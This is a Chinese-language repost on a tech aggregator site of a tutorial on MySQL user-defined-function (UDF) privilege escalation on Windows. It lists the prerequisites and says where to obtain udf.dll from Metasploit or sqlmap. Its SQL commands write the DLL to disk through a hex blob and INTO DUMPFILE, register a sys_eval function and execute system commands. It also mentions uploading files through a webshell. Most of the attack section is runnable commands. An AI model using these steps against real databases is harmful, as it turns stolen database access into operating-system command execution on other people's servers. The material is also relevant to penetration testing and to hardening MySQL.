IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 利用 mysql ufd 进行系统提权 -> 正文阅读

[大数据]利用 mysql ufd 进行系统提权

UFD 介绍

user defined function,即用户自定义函数。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()concat()。udf文件后缀为.dll,常用c语言编写。

  • 在mysql 5.1 以后的版本中,udf文件放在于mysql/lib/plugin目录下,目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将 udf.dll文件导出到该目录。

    以下这种通过文件流的机制创建目录的方法经尝试不可行,提示不允许操作。(路过的大佬指导一下~)

    select 'xxxxxx' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$INDEX_ALLOCATION';
    
  • 如果mysql版本小于5.1, udf文件在windows 7下放置在C:\windows目录,在windows server 2003下放置于C:\windows\system32目录,在windows server 2000下放置在C:\winnt\system32目录。

前提

  1. 需要mysql root权限的账户,因为需要用 create 操作
  2. 根据 mysql 版本确定plugin_dir目录
  3. mysql配置文件配置项secure_file_priv=置空,表示不限制导入导出目录(mysql5.5 之前 secure_file_priv 默认是空)
  4. 如果是mysql 5.1之后的版本,目前来说必须存在lib\plugin\目录

提权

环境信息:windows 7,mysql 5.0.96

  1. 通过 root 账户登录到 mysql 后,获取一些变量信息,看是否满足前提条件

    select version(); # 查看mysql版本
    select @@plugin_dir # 查看plugin文件夹路径,5.1版本之后有效,如果是5.1之前版本会报错,按系统默认的来
    show global variables like 'secure%'; # secure_file_priv 变量必须为空,5.1一上版本需要在my.ini文件的[mysqld]下增加配置 secure_file_priv=
    

    image-20210912163343100

  2. 从 MSF 中获取利用的 udf.dll 文件,目录/usr/share/metasploit-framework/data/exploits/mysql;或者从 sqlmap 中取,目录/usr/share/sqlmap/data/udf/mysql

    建议用MSF下的udf文件,sqlmap下的是经过编码的,如果要用需要先解码
    image-20210912164347363

  3. 通过 webshell 将 udf.dll 上传到C:\windows目录下,或者通过 sqlshell 写进去(udf.dll是自己改的名字,不改也行,下面命令中用到的文件名和这里对应就行)

    CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
    INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
    SELECT c FROM udftmp INTO DUMPFILE 'C:\\windows\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
    
  4. 创建自定义函数,并执行系统命令

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; # 导入自定义函数
    select sys_eval('whoami');
    DROP FUNCTION sys_eval; # 删除自定义函数
    

    ? image-20210912145729126

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-09-13 09:20:26  更:2021-09-13 09:22:01 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 20:27:26-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码